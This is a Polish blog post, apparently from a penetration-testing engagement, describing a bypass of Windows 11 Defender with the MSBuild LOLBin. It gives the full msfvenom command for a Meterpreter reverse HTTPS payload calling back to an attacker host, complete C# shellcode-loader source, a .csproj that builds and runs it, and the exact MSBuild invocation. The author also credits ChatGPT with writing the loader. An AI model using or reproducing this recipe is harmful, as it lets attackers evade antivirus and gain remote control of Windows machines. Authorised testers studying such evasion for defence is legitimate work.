Omijanie Windows 11 Defendera za pomocą LOLBin: Wykorzystanie natywnych mechanizmów systemu do uruchamiania metasploit reverse shell
W ramach jednego z ostatnich projektów stanąłem przed zadaniem obejścia systemów bezpieczeństwa w Windows 11. System był w pełni zaktualizowany, a na początku korzystał z antywirusa ESET, który, mimo pozornej skuteczności, udało się ominąć za pomocą skryptu VBA uruchomionego w Excelu. W kolejnym etapie projektu poprosiliśmy o wyłączenie ESET. Jak się okazało, zamiast ułatwić sobie zadanie, sytuacja stała się bardziej skomplikowana, ponieważ domyślnie włączył się Windows Defender, również z pełnym pakietem aktualizacji bezpieczeństwa. Poprzedni payload przestał działać, więc musiałem znaleźć nowe rozwiązanie. W tym przypadku ratunkiem okazało się wykorzystanie LOLBins oraz mechanizmu poznanego podczas szkoleń SANS.
Pierwszym krokiem było zlokalizowanie kompilatora C# na systemie. Domyślnie nie znajdował się w ścieżce systemowej PATH (Rys. 2).
Używając systemowej wyszukiwarki plików, znalazłem lokalizację MSBuild.exe (Rys. 3) i wybrałem pierwszy z listy (Rys. 4).
Następnie przygotowałem ładunek (payload) za pomocą narzędzia msfvenom z frameworka Metasploit:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<IP> LPORT=8443 -f raw -o https_payload.bin
-p windows/x64/meterpreter/reverse_https
– Typ payloadu typu reverse shell, który nawiązuje połączenie z atakującym przez HTTPS (szyfrowane połączenie wychodzące).LHOST=<IP>
– Adres IP, na który payload ma nawiązać połączenie zwrotne.LPORT=8443
– Port, na którym serwer C2 oczekuje na połączenie.-f raw
– Format wyjściowy: surowa postać binarna (bez opakowania w EXE czy PE).-o https_payload.bin
– Nazwa pliku wyjściowego.
Polecenie wygenerowało binarny payload Meterpreter typu reverse HTTPS shell, zapisany w pliku https_payload.bin (Rys. 5). Wybrałem HTTPS, ponieważ podczas pierwszych prób zauważyłem, że payload tcp jest skutecznie blokowany przez defendera, natomiast HTTPS działa bez problemu.
Następnie stworzyłem kod, który uruchamia shellcode w pamięci z wykorzystaniem mechanizmów Windows API. Na początku funkcja LoadShellcode
wczytuje shellcode z pliku binarnego (https_payload.bin
). Funkcja NtAllocateVirtualMemory
przydziela pamięć dla shellcode z uprawnieniami PAGE_EXECUTE_READWRITE
, co pozwala na odczyt, zapis i wykonanie kodu. Po skopiowaniu shellcode do zaalokowanej pamięci za pomocą Marshal.Copy
, program tworzy nowy wątek przez CreateThread
, wskazując na miejsce zapisania shellcode. Funkcja WaitForSingleObject
zapewnia wykonanie całego kodu, oczekując na zakończenie wątku. W napisaniu całego kodu pomogł mi ChatGPT.
using System;
using System.IO;
using System.Runtime.InteropServices;
class Program
{
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtAllocateVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
ulong ZeroBits,
ref ulong RegionSize,
uint AllocationType,
uint Protect
);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateThread(
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId
);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint WaitForSingleObject(
IntPtr hHandle,
uint dwMilliseconds
);
static void Main(string[] args)
{
string filePath = "https_payload.bin";
byte[] shellcode = LoadShellcode(filePath);
if (shellcode == null)
{
Console.WriteLine("Failed to load shellcode.");
return;
}
IntPtr baseAddress = IntPtr.Zero;
ulong regionSize = (ulong)shellcode.Length;
IntPtr processHandle = (IntPtr)(-1);
uint allocationResult = NtAllocateVirtualMemory(
processHandle,
ref baseAddress,
0,
ref regionSize,
0x3000, // MEM_COMMIT | MEM_RESERVE
0x40 // PAGE_EXECUTE_READWRITE
);
if (allocationResult != 0)
{
Console.WriteLine("Failed to allocate memory.");
return;
}
Marshal.Copy(shellcode, 0, baseAddress, shellcode.Length);
IntPtr threadHandle = CreateThread(
IntPtr.Zero,
0,
baseAddress,
IntPtr.Zero,
0,
IntPtr.Zero
);
if (threadHandle == IntPtr.Zero)
{
Console.WriteLine("Failed to create thread.");
return;
}
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
private static byte[] LoadShellcode(string filePath)
{
try
{
return File.ReadAllBytes(filePath);
}
catch (Exception ex)
{
Console.WriteLine("Error loading shellcode: " + ex.Message);
return null;
}
}
}
Do skompilowania programu stworzyłem plik projektu .csproj
:
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion>
<Configuration>Debug</Configuration>
</PropertyGroup>
<ItemGroup>
<Compile Include="main.cs" />
</ItemGroup>
<Target Name="Build">
<Csc Sources="@(Compile)" OutputAssembly="main.exe" />
</Target>
<Target Name="Run" DependsOnTargets="Build">
<Exec Command="main.exe" />
</Target>
</Project>
Po pobraniu wszystkich plików na atakowaną maszynę za pomocą curl i wywołaniu polecenia (Rys. 6),
C:\Windows\WinSxS\wow64_msbuild_b03f5f7f11d50a3a_4.0.15912.0_none_07ea43e35ad4fd3b\MSBuild.exe main.csproj /p:Configuration=Debug /t:Run
payload wykonał się pomyślnie, nawiązując połączenie z serwerem C2 (Rys. 7), pomimo aktywnego i zaktualizowanego Windows Defendera.
Całe demo można zobaczyć na poniższym filmie:
Metoda działa również z wykorzystaniem csc.exe
. Nie potrzebujemy wtedy pliku .csproj
:).